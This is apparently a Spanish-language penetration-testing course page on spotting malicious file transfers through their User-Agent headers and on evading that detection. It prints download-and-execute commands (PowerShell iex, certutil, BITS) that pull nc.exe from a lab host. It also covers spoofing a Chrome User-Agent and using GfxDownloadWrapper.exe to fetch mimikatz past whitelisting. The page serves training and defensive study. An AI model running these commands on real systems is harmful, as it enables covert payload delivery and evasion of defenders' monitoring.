Detection and Evading Detection
Detection
La detección de comandos en lÃnea basada en listas negras es fácil de evadir, incluso usando una simple ofuscación con mayúsculas y minúsculas. Sin embargo, aunque crear una lista blanca de todos los comandos permitidos en un entorno puede llevar tiempo al principio, es una solución muy robusta que permite detectar y alertar rápidamente sobre comandos inusuales.
La mayorÃa de los protocolos cliente-servidor requieren que el cliente y el servidor negocien cómo se entregará el contenido antes de intercambiar información. Esto es común en el protocolo HTTP
. Existe la necesidad de interoperabilidad entre diferentes servidores web y navegadores para asegurar que los usuarios tengan la misma experiencia sin importar el navegador que usen. Los clientes HTTP
suelen identificarse por su cadena User-Agent, que el servidor usa para saber qué cliente se está conectando, por ejemplo, Firefox, Chrome, etc.
Los User-Agent no solo se usan para identificar navegadores web, sino que cualquier cosa que actúe como cliente HTTP
y se conecte a un servidor puede tener su propia cadena User-Agent (por ejemplo, cURL
, un script en Python
, o herramientas como sqlmap
o Nmap
).
Las organizaciones pueden tomar algunas medidas para identificar posibles cadenas de User-Agent sospechosas, comenzando por crear una lista de User-Agent legÃtimos conocidos, los que usan por defecto los procesos del sistema operativo, los que usan los servicios de actualización como Windows Update, actualizaciones de antivirus, etc. Estas listas pueden incorporarse a herramientas SIEM para hacer threat hunting, filtrar el tráfico legÃtimo y centrarse en las anomalÃas que podrÃan indicar actividad sospechosa. Cualquier User-Agent sospechoso puede ser investigado más a fondo para ver si se usó para llevar a cabo acciones maliciosas. Esta página sirve para identificar cadenas de User-Agent comunes. Aquà se puede consultar una lista de User-Agent.
Las transferencias de archivos maliciosas también pueden detectarse a través de su User-Agent. A continuación, se muestran los User-Agent y cabeceras observadas en técnicas comunes de transferencia HTTP
(probado en Windows 10, versión 10.0.14393, con PowerShell 5).
Invoke-WebRequest - Client
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-WebRequest - Server
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
WinHttpRequest - Client
PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText
WinHttpRequest - Server
GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Msxml2 - Client
PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText
Msxml2 - Server
GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Certutil - Client
C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe
C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe
Certutil - Server
GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
BITS - Client
PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t;
PS C:\htb> iex $r
BITS - Server
HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Esta sección apenas comienza con la detección de transferencias de archivos maliciosas. SerÃa un excelente punto de partida para cualquier organización crear una lista blanca de binarios permitidos o una lista negra de binarios que se sabe que se utilizan con fines maliciosos. Además, la búsqueda de cadenas de agente de usuario anómalas puede ser una excelente manera de detectar un ataque en curso. Abordaremos las técnicas de búsqueda y detección de amenazas en profundidad en módulos posteriores.
Evading Detection
Changing User Agent
Si los administradores o defensores han bloqueado alguno de estos User-Agent, el comando Invoke-WebRequest
tiene un parámetro llamado -UserAgent
que permite cambiar el valor por defecto. Podemos poner uno que imite a Internet Explorer, Firefox, Chrome, Opera o Safari.
Por ejemplo, si en la red del cliente todo el tráfico web pasa por Chrome, usar ese User-Agent puede hacer que la petición parezca legÃtima y asà pasar más desapercibidos.
Listing out User Agents
PS C:\Users\gzzcoo> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Name : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; es-ES)
Name : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) Gecko/20100401 Firefox/4.0
Name : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
Safari/534.6
Name : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; es-ES) Presto/2.2.1
Name : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
Safari/533.16
Invocar Invoke-WebRequest para descargar nc.exe mediante un agente de usuario de Chrome:
Request with Chrome User Agent
PS C:\gzzcoo> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\gzzcoo> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
gzzcoo@htb[/htb]$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive
LOLBAS / GTFOBins
El uso de whitelisting de aplicaciones puede impedirnos ejecutar herramientas como PowerShell o Netcat, y además, el registro de comandos puede alertar a los defensores de nuestra actividad. En estos casos, una opción útil es recurrir a un LOLBIN (Living Off The Land Binary), también conocidos como binarios de confianza mal ubicada.
Un ejemplo de LOLBIN es el GfxDownloadWrapper.exe, que forma parte de los drivers de gráficos de Intel en Windows 10. Este binario ya viene instalado en algunos sistemas y tiene la capacidad de descargar archivos de configuración de forma periódica. Podemos aprovechar esa funcionalidad para descargar archivos de forma encubierta con un simple comando como:
Transferring File with GfxDownloadWrapper.exe
PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
Ese tipo de binario (como GfxDownloadWrapper.exe
) puede estar permitido por las polÃticas de whitelisting y además no generar alertas, ya que es legÃtimo y forma parte del sistema.
Existen otros binarios aún más comunes que se pueden aprovechar, y por eso vale la pena revisar el proyecto LOLBAS, donde se recopilan binarios legÃtimos de Windows que pueden ser usados para descargar archivos, ejecutar comandos, etc.
En Linux, el equivalente es el proyecto GTFOBins, que también merece la pena revisar. A dÃa de hoy, GTFOBins documenta casi 40 binarios comunes que pueden usarse para transferencias de archivos y otras acciones útiles en post-explotación o evasión.
Última actualización
¿Te fue útil?